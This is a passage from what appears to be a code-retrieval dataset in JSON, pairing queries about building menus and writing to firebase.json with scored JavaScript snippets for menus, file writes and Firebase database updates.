.addItem('Update categpries', 'updateCategories')\n .addItem('Update sizes', 'updateSizes')\n .addItem('Move Sold Items', 'itemsComplete')\n .addItem('Remove Sold Items', 'removeItems')\n .addToUi();\n}", "title": "" }, { "docid": "6aad097ee31a16d477b00ba1de44d1a5", "score": "0.62980616", "text": "function renderMenu()\r\n{\r\n // Add your menu's HTML here.\r\n optionsBox.html('Add <a>your menu</a> here');\r\n\r\n // Then set up some 'change' or 'click' or 'blur' handlers with\r\n // jQuery here.\r\n}", "title": "" }, { "docid": "c5fe59a90ae553413bd6bdabe304cd81", "score": "0.62844074", "text": "function Menu() {}", "title": "" }, { "docid": "fae888d8bacdcefa408ecb4bb5afe34c", "score": "0.6274271", "text": "function showMenuScreen() {\n // unbind previous bindins\n unbindButtons();\n drawMenu();\n // bind buttons\n $('#up').click(function () {\n if (menuItem > 0)\n menuItem--;\n drawMenu();\n });\n $('#down').click(function () {\n if (menuItem < 2)\n menuItem++;\n drawMenu();\n });\n $('#ok').click(function () {\n gotoSubMenu();\n });\n}", "title": "" }, { "docid": "d77eb583e8b2862fc70208bf6952fad4", "score": "0.6259546", "text": "function adminMenu(msg) {\n env.header(\"Admin menu\", msg)\n\n var atmState = !atm.isDisabled ? \"Disable ATM\" : \"Enable ATM\"\n\n var options = [\n {\n type: 'list',\n name: 'option',\n message: 'Select an option',\n choices: ['Deposit', 'Check balance', atmState, 'Go to main menu', 'Exit'],\n filter: function (val) {\n return val.toLowerCase();\n }\n }\n ];\n\n env.inquirer.prompt(options).then(answers => {\n if (answers.option == 'deposit') {\n deposit('')\n } else if (answers.option == 'check balance') {\n checkBalance('')\n } else if (answers.option == atmState.toLocaleLowerCase()) {\n disableAtm('')\n } else if (answers.option == 'go to main menu') {\n welcome.welcome('')\n } else {\n process.exit()\n }\n });\n}", "title": "" }, { "docid": "3f9cfeaeb14a2d0574b8629d604b36ef", "score": "0.6251988", "text": "function showOptions() {\n var optionsScreen = document.getElementById(\"optionsMenu\");\n var scoreScreen = document.getElementById(\"scoreboard\");\n var startButton = document.getElementById(\"StartScreen\");\n if (optionsScreen.style.display !== \"block\") {\n optionsScreen.style.display = \"block\";\n scoreScreen.style.display = \"none\";\n startButton.style.display = \"none\";\n document.getElementById(\"optionsButton\").innerHTML = \"Close\";\n } else if (optionsScreen.style.display === \"block\") {\n optionsScreen.style.display = \"none\";\n scoreScreen.style.display = \"table\";\n startButton.style.display = \"inline-block\";\n document.getElementById(\"optionsButton\").innerHTML = \"Options\";\n }\n}", "title": "" }, { "docid": "67ca8ceadfb251be8dc356c51d2833d8", "score": "0.6251965", "text": "function buildMenu() {\n ui.createMenu(\"Time in Meetings\")\n .addItem(\"Find Time for Selected\", \"getMeetingInput\")\n .addToUi();\n}", "title": "" }, { "docid": "390a440f3b1fa4ce3c256cb76f11d44b", "score": "0.62497604", "text": "function DefaultMenu() {\r\n}", "title": "" }, { "docid": "2f82ee7e7c6cf41fbeb9af3e7bfa490e", "score": "0.6236591", "text": "function mgrOptions() {\n inquirer \n .prompt({\n name: \"action\",\n type: \"list\",\n message: chalk.bold.blue(\"Manager Options: \"),\n choices: [\n \"View Products For Sale\",\n \"View Low Inventory/Order Inventory\",\n \"Order Inventory\",\n \"Add New Product\",\n \"Delete From Iventory\",\n \"Exit Options\"\n ]\n })\n .then (function (managerSelection) {\n //execute case by case a function depending on the user selection\n switch (managerSelection.action) {\n case \"View Products For Sale\":\n viewProductsForSale();\n break;\n case \"View Low Inventory/Order Inventory\":\n viewLowInventory();\n break;\n case \"Order Inventory\":\n orderInventory()\n break;\n case \"Add New Product\":\n addNewProduct();\n break;\n case \"Delete From Iventory\":\n deleteProduct();\n break;\n case \"Exit Options\":\n connection.end();\n break;\n } \n })\n}", "title": "" }, { "docid": "6c0b833416ec87cfa30ced39d60f6a96", "score": "0.62307495", "text": "function displayMenu() {\n\n\tvar headers = [\"Option\", \"supervisor Action\"];\n\n\tvar actions = [\n\t\t[1, \"View Products Sales By Department\"], \n\t\t[2, \"Create New Department\"], \n\t\t[3, \"Exit Program\"]\n\t]\n\n\t// instantiate \n\tvar menu = new Table({\n\t head: headers,\n\t colWidths: [10, 75]\n\t});\n\n\tactions.forEach((e)=>{\n\t\tmenu.push(e);\n\t});\n\n\tconsole.log(menu.toString());\n}", "title": "" }, { "docid": "efa62ea4f38ea4635e1952f68d3599e7", "score": "0.62029266", "text": "function displayOptions () {\n if ($blacklistCheck[0].checked) $blacklistForm.show()\n if ($everyone[0].checked) $custom.hide()\n }", "title": "" }, { "docid": "64131b2f509c6ad7dfb28f83702b1677", "score": "0.61994445", "text": "function optionsMenu() {\n menu.style.visibility = \"hidden\";\n optionsmenu.style.visibility = \"visible\";\n}", "title": "" }, { "docid": "0385107c31fd00c9db078d149c2cb9d3", "score": "0.61926347", "text": "function showItems()\n{\n console.log('\\033c');\n console.log(\"bAmazon Supervisor Main Menu\\n\".bold.inverse);\n\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"Choose a menu item\",\n choices: [\"View Product Sales by Department\", \"View Top Product Sales by Item\", \"Create New Department\", \"Quit\"]\n }\n ]).then(function(answer) \n {\n // Now we process it\n // console.log(\"Picked \", answer.stuff);\n\n console.log(answer);\n\n switch (answer.choice)\n {\n case \"View Product Sales by Department\":\n {\n viewProducts();\n break;\n }\n\n case \"View Top Product Sales by Item\":\n {\n viewTopSales();\n break;\n }\n\n case \"Create New Department\":\n {\n createDept();\n break;\n }\n\n case \"Quit\":\n {\n connection.end();\n break;\n }\n }\n });\n}", "title": "" }, { "docid": "e217f5dec55cde36b0a4fdeca7fb6622", "score": "0.6189768", "text": "function managerMenuOptionsLoad(products) {\n inquirer.prompt([\n {\n type: \"list\",\n name:\"choice\",\n choices: [\"View Products\", \"View Low Invetory\", \"Add to Inventory\", \"Add a New Item\", \"Quit\"],\n message:\"What would you like to do?\"\n }\n ]).then(function(val) {\n switch(val.choice) {\n case \"View Products\":\n console.table(products);\n managerMenuLoad();\n break;\n case \"View Low Inventory\":\n loadLowInventory();\n break;\n case \"Add to Inventory\":\n addToInventory(products);\n break;\n case \"Add a New Product\":\n newProductPrompt();\n break;\n default:\n console.log(\"Thank You!\");\n process.exit(0);\n break;\n }\n });\n}", "title": "" }, { "docid": "b439e26b0ac2d9003ec6f6f6a0aa74d5", "score": "0.6184755", "text": "function onOpen(e) {\n DocumentApp.getUi()\n .createMenu(\"-Offerte OSD-\")\n .addItem(\"Nuova Offerta\", \"showModalOfferte\")\n .addItem(\"Nuovo Ordine\", \"showModalOrdini\")\n .addToUi();\n}", "title": "" }, { "docid": "f7c92d5d0a10daa3cb8b385840d20023", "score": "0.618187", "text": "function displayMenu(methodeAffichage) {\n methodeAffichage(\"1- Stocker les notes des élèves dans un tableau\")\n methodeAffichage(\"2-\tAfficher la liste des notes\")\n methodeAffichage(\"3-\tModifier une note\")\n methodeAffichage(\"4-\tAfficher la moyenne de la classe\")\n methodeAffichage(\"5-\tAfficher la note la plus élevée\")\n methodeAffichage(\"6-\tAfficher la note la plus base\")\n methodeAffichage(\"0-\tQuitter le programme\")\n}", "title": "" }, { "docid": "db7f5db7029e76de6facaf58ae45c533", "score": "0.6181738", "text": "setQualityMenu(options) {\n // Menu required\n if (!utils.is.element(this.elements.settings.panes.quality)) {\n return;\n }\n\n const type = 'quality';\n const list = this.elements.settings.panes.quality.querySelector('ul');\n\n // Set options if passed and filter based on config\n if (utils.is.array(options)) {\n this.options.quality = options.filter(quality =>\n this.config.quality.options.includes(quality)\n );\n }\n\n // Toggle the pane and tab\n const toggle = !utils.is.empty(this.options.quality) &&\n this.options.quality.length > 1;\n controls.toggleTab.call(this, type, toggle);\n\n // If we're hiding, nothing more to do\n if (!toggle) {\n return;\n }\n\n // Empty the menu\n utils.emptyElement(list);\n\n // Get the badge HTML for HD, 4K etc\n const getBadge = quality => {\n let label = '';\n\n switch (quality) {\n case 2160:\n label = '4K';\n break;\n\n case 1440:\n case 1080:\n case 720:\n label = 'HD';\n break;\n\n case 576:\n label = 'SD';\n break;\n\n default:\n break;\n }\n\n if (!label.length) {\n return null;\n }\n\n return controls.createBadge.call(this, label);\n };\n\n // Sort options by the config and then render options\n this.options.quality\n .sort((a, b) => {\n const sorting = this.config.quality.options;\n return sorting.indexOf(a) > sorting.indexOf(b) ? 1 : -1;\n })\n .forEach(quality => {\n const label = controls.getLabel.call(this, 'quality', quality);\n controls.createMenuItem.call(\n this,\n quality,\n list,\n type,\n label,\n getBadge(quality)\n );\n });\n\n controls.updateSetting.call(this, type, list);\n }", "title": "" }, { "docid": "4dec29546ee91ca5411fb02ea78b9a40", "score": "0.61750185", "text": "function setMenuText()\n{\n if (arguments[0] == \"lowerCase\")\n return Menu_HC_ToLowercase;\n else if(arguments[0] == \"upperCase\")\n return Menu_HC_ToUppercase;\n}", "title": "" }, { "docid": "b97e919395e8254d658544b3ddf0be25", "score": "0.6175", "text": "function showMenu (){\n app7.panel.open('right' , true);\n }", "title": "" } ]
12419e9f2c68c6396edd11867e7a02d3
Write the changes into the firebase.json file
[ { "docid": "7826456149b07fa050beeb2836bc2e37", "score": "0.64123654", "text": "function updateWith(result) {\n fs.readFile('firebase.json', 'utf8', function(err, data) {\n if (err) {\n return console.log(err);\n }\n let re = /(\"headers\":\\s*\\[\\s*{\\s*\"key\":\\s*\"Link\",\\s*\"value\":\\s*\")(.*)(\"\\s*}\\s*\\])/gm;\n\n if (re.exec(data)) {\n let newConfig = data.replace(re, `$1${result}$3`);\n fs.writeFile('firebase.json', newConfig, 'utf8', function(err) {\n if (err) return console.log(err);\n console.log('firebase.json updated successfully.');\n });\n } else {\n console.log(\"Couldn't find a valid firebase config to update.\");\n return;\n }\n });\n}", "title": "" } ]
[ { "docid": "a6c61835b0d6608c9f8486f6758b57ac", "score": "0.6559322", "text": "function updateJSONFile() {\n\tfs.writeFileSync(\"jsonClubs\", JSON.stringify(data), (err) => {\n\t if (err) {\n\t \tconsole.log(\"Error While Writing\");\n\t \t}\n\t});\n}", "title": "" }, { "docid": "f7b4013e15bc71e2a656e913ded88524", "score": "0.62831515", "text": "_updateFile() {\n let jsonString = JSON.stringify(this.data);\n fs.writeFileSync(this.path, jsonString);\n }", "title": "" }, { "docid": "3c32eb39a7a220825705212f90bf7185", "score": "0.6211707", "text": "function writeDatabase() {\n var email = txtEmail.val().trim();\n\n database.child('users').push({\n\n email: email\n\n });\n\n database.child('users').on(\"child_added\", function(snapshot) {\n\n // Change the HTML to reflect\n\n // Handle the errors\n }, function(errorObject) {\n\n console.log(\"Errors handled: \" + errorObject.code);\n\n\n });\n }", "title": "" }, { "docid": "bacba353ded8aca6328aff8fb97af4cb", "score": "0.6098724", "text": "function saveData(){\n fs.writeFile('output.json', JSON.stringify(json, null, 4), function(err){\n\n //console.log('File successfully written! - Check your project directory for the output.json file');\n\n });\n }", "title": "" }, { "docid": "9ebbecb12bc19997a75a8c52d46aa42c", "score": "0.60247785", "text": "function writeDataToDB(dbRef, jsonObject) {\n firebase.database().ref(dbRef).set(jsonObject);\n}", "title": "" }, { "docid": "9ac728a225e94a2f6122b789b8bbec05", "score": "0.6012466", "text": "function moveJsonToFirebase(filename) {\n $.getJSON(filename, function(json) {\n var index = 0;\n for (var i = 0; i < json[Object.keys(json)[0]].length; i++) {\n if (!json[Object.keys(json)[0]][i].address || json[Object.keys(json)[0]][i].address == \"\") {\n console.log(\"Invalid address found for \" + json[Object.keys(json)[0]][i].name + \" (\" + Object.keys(json)[0] + \")\");\n } else {\n database.ref(Object.keys(json)[0] + \"/\" + index).set({\n address: json[Object.keys(json)[0]][i].address,\n imgURL: json[Object.keys(json)[0]][i].imgURL,\n name: json[Object.keys(json)[0]][i].name,\n phone: json[Object.keys(json)[0]][i].phone,\n lat: getCoorFromAddress(json[Object.keys(json)[0]][i].address).lat,\n lng: getCoorFromAddress(json[Object.keys(json)[0]][i].address).lng\n });\n index++;\n }\n }\n });\n}", "title": "" }, { "docid": "c748c74222f2aa7c8d30b7220bea9731", "score": "0.60001653", "text": "function updateJSON(){\n\n filedata[item.ID] = item.data;\n\n console.log(\"filedata is now: \" + JSON.stringify(filedata));\n\n // delete the text file on the server\n if(fs.existsSync(\"./storage.txt\")){\n fs.unlink(\"./storage.txt\", (err) => {\n if(err){\n console.log(err);\n }\n console.log(\"file deleted\");\n });\n }\n\n // create a new text file and write the new data into it\n fs.writeFile('./storage.txt', JSON.stringify(filedata), (err) => { \n // In case of a error throw err exception. \n if (err){\n console.log(err);\n }\n });\n}", "title": "" }, { "docid": "b0a958aa4fb9f194f09269e655a17233", "score": "0.598307", "text": "function writeJSON() {\n fs.writeFile(\"Users.json\", JSON.stringify(myJSON), function (err) {\n\n if (err) {\n return console.log(err);\n }\n\n console.log(\"The file was saved!\");\n });\n}", "title": "" }, { "docid": "fcdd00f3cf4f8741b1e311095a56c5df", "score": "0.5963481", "text": "function updateNotesDataBase() {\n // Write to file method\n writeFile(\"./db/db.json\",JSON.stringify(notesDataBase), err => {\n if(err){\n console.log(err);\n }\n })\n }", "title": "" }, { "docid": "8e9ac760f3a58c1d490c441830164775", "score": "0.592997", "text": "function writeUserData(phone, email, address1, address2, city, postcode, isDonator, ngonum) {\r\n firebase.database().ref('Users/' + phone).set({\r\n \"Email\": email,\r\n \"Address 1\": address1,\r\n \"Address 2\": address2,\r\n \"City\": city,\r\n \"Post Code\": postcode,\r\n \"isDonator\": isDonator,\r\n \"ngonum\": ngonum\r\n });\r\n alert(\"Changing User's Data\");\r\n}", "title": "" }, { "docid": "6c7222a736d32c7940f6ea6ba8526012", "score": "0.59275365", "text": "function save_cus_credencials() {\n\n\n var uid = firebase.database().ref().child('users').push().key;\n var cusid = \"2019\"; //$('#cusid').val();\n var cusname = \"\" //$('#cusname').val();\n var cusemail = $('#ipt-email').val();\n\n\n\n var data = {\n user_id: uid,\n cusid: cusid,\n cusname: cusname,\n cusemail: cusemail,\n role: \"1\",\n designation: \"Admin\",\n userimage: \"\" //localStorage.getItem('userimgbase64')\n\n }\n\n var updates = {};\n updates['/users/' + uid] = data;\n firebase.database().ref().update(updates);\n\n\n }", "title": "" }, { "docid": "6b3b08026e92b3b3d106bfbf5bdf1581", "score": "0.59107715", "text": "static writeToDB () {\n var db = new JsonDB(config.jsondb, true, false);\n\n db.push('/', Restreamer.dataForJsonDb());\n }", "title": "" }, { "docid": "c56bbc378c215f627f684382609bf588", "score": "0.59086984", "text": "function writeToFirebase(message){\n\tlet usersRef = dbRref.child(new Date().toUTCString());\n\tusersRef.set({\n\t\t\"speechToText\" : message,\n\n\t});\n\treturn usersRef;\n}", "title": "" }, { "docid": "184e46548c12f5822cbc8a8f6ba61032", "score": "0.59000903", "text": "function set (data) {\n fs.writeFileSync('./todos.json',JSON.stringify(data))\n\n}", "title": "" }, { "docid": "03a29e35efb00557428bac7492207a62", "score": "0.58827627", "text": "function writeToJSON(){\n\tfs.writeFile('output/projects-data.json', projectsData, function (err) {\n\t\t\tif (err) return console.log(err);\n\t\t\tconsole.log(\"projects data file created!\");\n\t\t\t//write tags data, inside the callback to ensure synchronisity\n\t\tfs.writeFile('output/tags-data.json', tagsData, function (err) {\n\t \t\tif (err) return console.log(err);\n\t \t\tconsole.log(\"tags data file created!\");\n\t \t\tconsole.log('---------------------------------------------');\n\t \t\tconsole.log(instructions + '\\n');\n\t \t\tr1.close();\n\t\t});\n\t});\n}", "title": "" }, { "docid": "e46c7a494d7aa578c391f4b921f0c82d", "score": "0.5871014", "text": "function writeUserData(data,fileList,updateStep) {\n //console.log(fileList[indexOfItem])\n\n firebase.database().ref(\"Points/\"+fileList[indexOfItem].split(\".\")[0]).set(data);\n\n indexOfItem=indexOfItem+updateStep\n}", "title": "" }, { "docid": "dc7138b29bf1fcbf6f596e7a856e8468", "score": "0.5852932", "text": "function save() {\n fs.writeFile('./databases/guilds.json', JSON.stringify(guild), err => {\n if(err) return console.log('[DATABASE] Can\\'t write in guilds.json =>'+err) \n \n }) \n}", "title": "" }, { "docid": "cdc2bc0ba7051d7c1dc9e94c33f3eb2e", "score": "0.58526415", "text": "async write() {\n try {\n await fs.writeFile(this.path, JSON.stringify(this.data));\n } catch (err) {\n console.error('Error writing cache file');\n }\n }", "title": "" }, { "docid": "b0f5430446f1d73b2b89d41b9d79c9c0", "score": "0.5843401", "text": "function saveData(){\n //getting the database\n const db = firebase.database().ref(\"TravelPalDB\");\n //setting the object to store\n const data = {\n date: date.toUTCString(), //gets and updated time \n location, //all location object and elements\n weather, //all weather object and elements\n currencyExchange, //all currency exchange object and elements\n image: image ? image : weather.icon, //image chosen. if image not found uses the same as the weather icon\n };\n //saves data to firebase\n db.push(data);\n //save message\n Alert.alert('','Data Saved'); \n }", "title": "" }, { "docid": "e1cbc896572f47a2fe453654da1a3d3a", "score": "0.58405995", "text": "saveDB() {\n const dbPath = path.join(__dirname, '../db/data.json');\n fs.writeFileSync(dbPath, JSON.stringify(this.toJSON));\n }", "title": "" }, { "docid": "2d84299d02b42206d69d8d827636dd90", "score": "0.58249223", "text": "writeAddCourses(item) {\n this.userCoursesRef.child(this.state.userId).child(item.key).set({\n name:item.name,\n code:item.code,\n });\n //Save userId under course\n this.registeredRef.child(item.key).child(this.state.userId).set({\n displayName:this.state.name,\n createdAt:firebase.database.ServerValue.TIMESTAMP\n })\n //Alerts the user when their entry has been inputted in firebase\n Alert.alert(item.name, 'has been added to your list')\n}", "title": "" }, { "docid": "0ace1d2ae3be2b2cc6c84e0316ac33fd", "score": "0.5808813", "text": "function writeJSON(data){\n fs.writeFile(__dirname+\"/parsedPD/PersonenDaten.json\", JSON.stringify(data), function(err){\n \n if(err){\n return console.log(err);\n }\n });\n console.log(\"file saved\");\n\n }", "title": "" }, { "docid": "515c8b362ca3c6f501931d3490e96a68", "score": "0.579289", "text": "function writeDataToFirebase(sheetID) {\n var ss = SpreadsheetApp.openById(sheetID);\n SpreadsheetApp.setActiveSpreadsheet(ss);\n //createSpreadsheetEditTrigger(sheetID);\n var sheets = ss.getSheets();\n for (var i = 0; i < sheets.length; i++) {\n importSheet(sheets[i]);\n SpreadsheetApp.setActiveSheet(sheets[i]);\n }\n}", "title": "" }, { "docid": "4d6236756c0c59b2c42a1122b93ec230", "score": "0.57893133", "text": "function save_data() {\n var workspace_key = document.getElementById('task_workspace').value;\n // create and define new workspace, pushes to Firebase\n if(workspace_key == \"new\"){\n workspace_key = document.getElementsByClassName(\"workspace_new\")[0].value;\n var workspace_url = '/users/'+ localStorage.getItem(\"uid\") +'/workspaces/' + workspace_key;\n var new_workspace = {\n title: document.getElementsByClassName(\"workspace_new\")[0].value,\n color: document.getElementsByClassName(\"workspace_new\")[1].value,\n tasks: {}\n }\n let updates = {};\n updates[workspace_url] = new_workspace;\n firebase.database().ref().update(updates);\n }\n var task_url = '/users/'+ localStorage.getItem(\"uid\") +'/workspaces/' + workspace_key + '/tasks/';\n var task_id = firebase.database().ref(task_url).push().key;\n \n\t// creates and defines data object which will be pushed to Firebase\n\tvar data = {\n\t\ttitle: document.getElementById('task_title').value,\n\t\tdeadline: document.getElementById('task_deadline').value,\n\t\tcategory: document.getElementById('task_category').value,\n\t\tstatus: \"inactive\",\n\t\truntime: 0,\n dailygoal: 0,\n id: task_id\n\t}\n\t// push to firebase\n\tlet updates = {};\n\tupdates[task_url + task_id] = data;\n firebase.database().ref().update(updates);\n toggle_add_task(false);\n}", "title": "" }, { "docid": "c549d8a14a267770a870aca0241f875c", "score": "0.57869774", "text": "function save() {\n fs.writeFile('./data/usersDb.json', JSON.stringify(dbUsers))\n}", "title": "" }, { "docid": "d34ae639d60defc3b837b087ec401755", "score": "0.578342", "text": "function save() {\n var people = [];\n userIDMap.forEach( function(value,key,userIDMap) {\n \tpeople.push(value);\n });\n var json = JSON.stringify(people);\n fs.writeFile('twitch/TwitchSubs.json', json, 'utf8', null);\n}", "title": "" }, { "docid": "49b4517653b835ac9317dcafbb442a27", "score": "0.57802474", "text": "writeJsonObj() {\n console.log(`Writing json file to \"${this.files.basePath}lessons.json\" ...`);\n this.files.WriteJsonObj(this.lessons);\n }", "title": "" }, { "docid": "c7604b42a67b93aaa9e6ae816e509d8f", "score": "0.5779562", "text": "function sendToFirebase() {\n var names = database.ref('names');\n\n // Make an object with data in it\n var data = {\n name: nameInput.value(),\n symptom: symptomInput.value()\n }\n\n var name = names.push(data, finished);\n console.log(\"Firebase generated key: \" + name.key);\n\n // Reload the data for the page\n function finished(err) {\n if (err) {\n console.log(\"ooops, something went wrong.\");\n console.log(err);\n } else {\n console.log('Data saved successfully');\n }\n }\n}", "title": "" }, { "docid": "0b236833dfee3bc96995e80e3c7776fb", "score": "0.57713944", "text": "function updateJSON(results) {\n buildPrompt();\n\n $outputJSONCode.html(JSON.stringify(results, null, 2));\n $('.code--json').each(function(i, b) {\n hljs.highlightBlock(b);\n });\n\n // Initialize Firebase\n var config = {\n apiKey: \"AIzaSyBZmbEkVlaXlB75a4QEoASJnHHFAP4Xabg\",\n authDomain: \"stir-f9d29.firebaseapp.com\",\n databaseURL: \"https://stir-f9d29.firebaseio.com\",\n projectId: \"stir-f9d29\",\n storageBucket: \"stir-f9d29.appspot.com\",\n messagingSenderId: \"898960908506\"\n };\n firebase.initializeApp(config);\n // console.log(\"initialized\");\n\n // Save the JSON file to Firebase\n var json_str = JSON.stringify(results, null, 2);\n\n // Create new filename\n var date = new Date();\n var components = [\n date.getYear(),\n date.getMonth(),\n date.getDate(),\n date.getHours(),\n date.getMinutes(),\n date.getSeconds(),\n date.getMilliseconds()\n ];\n var newId = components.join(\"\");\n var fileName = newId + '.json';\n\n var storageRef = firebase.storage().ref()\n var testRef = storageRef.child(fileName);\n\n // Save the JSON file locally\n uploadFile(fileName, \"data:application/json\", new Blob([json_str],{type:\"\"}));\n\n function uploadFile (name, type, data) {\n // if (data != null && navigator.msSaveBlob)\n // return navigator.msSaveBlob(new Blob([data], { type: type }), name);\n testRef.put(new Blob([json_str],{type:\"\"})).then(function(snapshot) {\n console.log('Uploaded JSON');\n });\n }\n\n // Tracery grammar\n\n function buildPrompt() {\n\n var syntax = {\n \"sentences\": [\n \"#intro_sentence# #location_sentence# #personality_sentence# #prompt_sentence#\"\n ],\n \"intro_sentence\": [\n \"Today you’ll be waking: #name#.\"\n ],\n \"location_sentence\": [\n \"#name# lives in #location#, where it's #weather#.\",\n \"Right now it's #weather# in #name#'s neck of the woods, #location#.\",\n \"In #location#, where #name# lives, it's currently #weather#.\",\n \"The weather in #pronoun_possessive# city, #location#, is currently #weather#.\"\n ],\n \"personality_sentence\": [\n \"#name# #description_sentence#, with a strong leaning toward #personality1_child1# and #personality1_child2#.\",\n \"As someone who #description_sentence#, #name# has a talent for #personality1_child1# and #personality1_child2#.\",\n \"#name# #description_sentence#, with a strong leaning towards #personality1_child1# and #personality1_child2#.\"\n ],\n \"name\": user_name,\n \"pronoun\": pronoun,\n \"pronoun_possessive\": pronoun_possessive,\n \"pronoun_object\": pronoun_object,\n \"location\": location_summary,\n \"weather\": weather_description,\n \"personality1\": big5personality_1,\n \"personality1_child1\": big5personality_1_child_1,\n \"personality1_child2\": big5personality_1_child_2,\n \"description_sentence\": description_sentence,\n \"prompt_sentence\": action_sentence\n };\n\n var grammar = tracery.createGrammar(syntax);\n // grammar.addModifiers(tracery.baseEngModifiers);\n var prompt = grammar.flatten('#sentences#')\n console.log(prompt);\n document.getElementById('generated-prompt').innerHTML = prompt;\n return prompt;\n }\n }", "title": "" }, { "docid": "0132c282ece15d7797978b1d63137f8c", "score": "0.5766862", "text": "save() {\n /**\n * save account to file \n */\n var res = JSON.stringify(arrayOfObjects)\n fs.writeFileSync('/home/admin1/HitheshGR/OopsPrograms/JSONfiles/commercial.json', res, 'utf-8')\n }", "title": "" }, { "docid": "aeeac8647ca9a0158c73e57637876ec6", "score": "0.5759475", "text": "function writeData(farmName, location, price){\r\n// var farm = firebase.auth().farm.uid;\r\n\t\r\n\tfirebase.database().ref('farms/' + farmName).set({\r\n\t\tfarmName: farmName,\r\n\t\tlocation: location,\r\n\t\tprice: price\r\n\t});\r\n}", "title": "" }, { "docid": "e3e0d898fd2fb5c4dfa92db4b772e29f", "score": "0.5748748", "text": "static createDatabase(){\n let data = {\n 'daily': [],\n 'weekly': {\n 'Sunday': [],\n 'Monday': [],\n 'Tuesday': [],\n 'Wednesday': [],\n 'Thursday': [],\n 'Friday': [],\n 'Saturday': []\n },\n 'once': {}\n }\n let stringData = JSON.stringify(data, null, 2);\n fs.writeFileSync('data/database.json', stringData);\n }", "title": "" }, { "docid": "75f72c21dcd8c328db6a1aa394818b65", "score": "0.574502", "text": "function setFirebase() {\t\n\tg.myRef.set({user: g.userInfo, score: g.score, time: timeStamp(), error: g.error});\n}", "title": "" }, { "docid": "c7d753073dc82b4cffcb62a3124d3dbc", "score": "0.5742151", "text": "updateUserDB() {\n let user_db_path = path.join(this.dbLocation, 'user_db.json');\n fs.writeFileSync(user_db_path, JSON.stringify(this.users, null, 2), {'mode': '0777'});\n this.initUserDB();\n }", "title": "" }, { "docid": "2e6f30be39feef53a19259d4d463b8ef", "score": "0.57404417", "text": "function jsonWrite(fileName){ \n fs.writeFile(fileName, stringData, function(err) {\n if(err) { console.log(err); \n } else { console.log(\"saved!\"); \n }\n });\n}", "title": "" }, { "docid": "6fc128920cec9137bf36e7efad2c9fdb", "score": "0.57295483", "text": "write() {\n this.trigger();\n\n localStorage.decks = JSON.stringify(this.decks);\n localStorage.locale = JSON.stringify(this.locale);\n localStorage.collection = JSON.stringify(this.collection);\n }", "title": "" }, { "docid": "1631478374d339e1a7b6608fb175bf64", "score": "0.5728926", "text": "updateDb() {\n fs.writeFile(\"db/db.json\", JSON.stringify(notes, \"\\t\"), (err) => {\n if (err) throw err;\n return true;\n });\n }", "title": "" }, { "docid": "749961db6654de8514e4a97273310877", "score": "0.57077163", "text": "async function writedata() {\n await fs.writeFile('storage/tickets.json', JSON.stringify(tickets), (err) => {\n if (err) console.log(err);\n });\n}", "title": "" }, { "docid": "292807324901cfd5235a423b3fc32439", "score": "0.5693857", "text": "function firebaseCall() {\n database.ref().push({\n name: trainNameStr,\n destination: trainDestinationStr,\n start: startTimeStr,\n frequency: frequencyRateStr,\n dateAdded: firebase.database.ServerValue.TIMESTAMP,\n });\n }", "title": "" }, { "docid": "6ff55ff2f51d52bb9a7cc91995122274", "score": "0.5681747", "text": "function writeToDatabase(data) {\n console.log(\"New flower added to database\");\n let flower_coordinates = {\n lat: data.flower_coordinates.lat,\n lng: data.flower_coordinates.lng\n };\n let flower_type = data.flower_type;\n let flower_name = data.flower_name;\n let user_name = data.user_name;\n let user_location = data.user_location;\n let date_added = getDate();\n let water = {\n user: data.user_name,\n date: getDate()\n };\n\n firebase\n .firestore()\n .collection(\"flowers\")\n .doc()\n .set({\n flower_coordinates: flower_coordinates,\n flower_type: flower_type,\n flower_name: flower_name,\n user_name: user_name,\n user_location: user_location,\n date_added: date_added,\n })\n}", "title": "" }, { "docid": "534b513faae81d5c8f224810dfcb322a", "score": "0.56477386", "text": "function writing(data) {\n\n var input = JSON.stringify(data, null, 2);\n fs.writeFileSync('./files/store.json', input, succeded);\n function succeded(error) {\n console.log(\"written succcess\")\n }\n\n}", "title": "" }, { "docid": "7a6db88cd647e35fce91e94f9873305c", "score": "0.5647048", "text": "writeUserData(user) {\n firebase\n .database()\n .ref(\"customers/\" + user.uid)\n .set({\n email: user.email,\n name: \"\",\n shippingAddress: {\n streetAddress: \"\",\n city: \"\",\n state: \"\",\n zip: \"\",\n country: \"\"\n }\n });\n }", "title": "" }, { "docid": "5454ccec0d9fcca2f73b0fab575a2724", "score": "0.5641411", "text": "writeCache() {\n\t\tfs.writeFileSync(this.cacheFile, JSON.stringify(this.cache, null, '\\t'));\n\t}", "title": "" }, { "docid": "b3e10d6d5362a0842da3bb849afb95f7", "score": "0.5638187", "text": "async function writeToFirebaseDB(globalStatThisWeek, valueIphonesOnline) {\n var rootRef = firebaseSetup.firebase.database().ref();\n let p1 = rootRef\n .child(\"globalStatThisWeek\")\n .update(globalStatThisWeek)\n .then(() => {\n console.log(\"updated globalStatThisWeek\");\n })\n .catch(console.error);\n // TODO: update only what's neccessary\n let p2 = rootRef\n .child(\"valueIphonesOnline\")\n .update(valueIphonesOnline)\n .then(() => {\n console.log(\"updated valueIphonesOnline\");\n })\n .catch(console.error);\n let p3 = rootRef\n .child(\"cronStatus\")\n .set({ lastRefreshed: new Date().toString() })\n .then(() => {\n console.log(\"updated cronStatus\");\n })\n .catch(console.error);\n return await Promise.all([p1,p2,p3])\n}", "title": "" }, { "docid": "ac3ff4001b54b064589da7d7ea7e3be4", "score": "0.5624136", "text": "function writeDataToFirestore(dbRef, data) {\n dbRef.set(data)\n .then(function() {\n console.log(\"Document successfully written!\");\n })\n .catch(function(error) {\n console.error(\"Error writing document: \", error);\n });\n}", "title": "" }, { "docid": "90077e9f7f019c05c75c066a3f82edfa", "score": "0.56221884", "text": "function saveData(){\n var name=document.getElementById(\"name\")\n var roll=document.getElementById(\"roll\")\n \n var key=firebase.database().ref('student').push().key \n var student={\n name:name.value,\n roll:roll.value,\n key:key\n }\n firebase.database().ref('student/' + key).set(student)\n\n}", "title": "" }, { "docid": "c35a8d908540e7a9e5bbd89c51127632", "score": "0.5621704", "text": "function writeToDatabse() {\n firebase.auth().onAuthStateChanged(function (user) {\n if (user) {\n console.log(\"User Signed In\");\n\n //Navigating to the users current collections.\n db.collection(\"users\").doc(user.uid).collection(\"current\")\n .doc(\"currentPages\")\n .get()\n .then(function (doc) {\n\n //Variables that store the current group and thread IDs.\n let currentGroupID = doc.data().currentGroup;\n console.log(\"current group ID: \" + currentGroupID);\n let currentThreadID = 